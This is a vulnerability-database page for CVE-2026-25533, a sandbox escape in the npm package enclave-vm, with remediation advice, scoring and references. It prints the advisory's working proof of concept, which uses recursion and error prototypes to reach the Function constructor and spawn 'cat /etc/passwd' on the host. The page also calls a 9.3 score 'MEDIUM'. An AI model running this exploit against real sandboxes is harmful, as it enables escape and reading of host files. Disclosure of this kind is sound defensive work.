CVE-2026-25533 — Vulnerability in enclave-vm — CVE Details
Sandbox escape via infinite recursion and error objects
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.25%). Schedule for your next planned update.
Does your project use an affected enclave-vm version?
Paste your package-lock.json to check it for CVE-2026-25533 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.
Summary
The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.
Details
There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.
PoC
The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.
import { Enclave } from 'enclave-vm';
// Create enclave with a tool handler
const enclave = new Enclave({
timeout: 5000,
maxToolCalls: 10,
maxIterations: 1000,
toolHandler: async (toolName, args) => {
// Your tool execution logic
return { success: true, data: `Called ${toolName}` };
},
});
// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
a();
} catch (e) {
rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);
Impact
Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.
Advisory Timeline
- First published February 5, 2026 (294 days ago).
- Last revised February 7, 2026 — 1 day after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install @enclave-vm/core@2.10.1
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: npm (2).
| Package | Fixed In |
|---|---|
| enclave-vm npm · Affected: All versions | Range-based data available |
| @enclave-vm/core npm · Affected: All versions | 2.10.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-835
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
References
- https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3pWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-25533ADVISORY
- https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dcaWEB
- https://github.com/agentfront/enclavePACKAGE
- https://www.staicu.org/publications/usenixSec2023-SandDriller.pdfWEB
Frequently Asked Questions
- What is CVE-2026-25533?
- Sandbox escape via infinite recursion and error objects. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.3/10).
- How do I check if my project is affected by CVE-2026-25533?
- CVE-2026-25533 affects enclave-vm and @enclave-vm/core. It has a 0.2% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-25533 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 9.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-22686CRITICAL
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
- CVE-2026-27597CRITICAL
@enclave-vm/core is vulnerable to Sandbox Escape
- CVE-2026-94543MEDIUM
Next.js has cache poisoning of SSG and ISR pages in self-hosted applications
- CVE-2026-94545MEDIUM
Satori-generated SVG has improper escaping